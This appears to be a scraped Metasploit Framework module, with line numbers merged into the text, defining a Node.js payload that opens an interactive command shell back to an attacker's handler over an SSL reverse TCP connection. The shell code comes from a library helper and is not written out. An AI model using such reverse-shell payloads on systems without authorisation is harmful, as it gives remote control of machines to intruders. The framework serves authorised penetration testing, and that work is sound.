Path: blob/master/modules/payloads/singles/nodejs/shell_reverse_tcp_ssl.rb
19516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 83178include Msf::Payload::Single9include Msf::Payload::NodeJS10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Command Shell, Reverse TCP SSL (via nodejs)',17'Description' => 'Creates an interactive shell via nodejs, uses SSL',18'Author' => ['RageLtMan', 'joev'],19'License' => BSD_LICENSE,20'Platform' => 'nodejs',21'Arch' => ARCH_NODEJS,22'Handler' => Msf::Handler::ReverseTcpSsl,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'nodejs',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28end2930#31# Constructs the payload32#33def generate(_opts = {})34super + command_string35end3637#38# Returns the JS string to use for execution39#40def command_string41nodejs_reverse_tcp(use_ssl: true)42end43end444546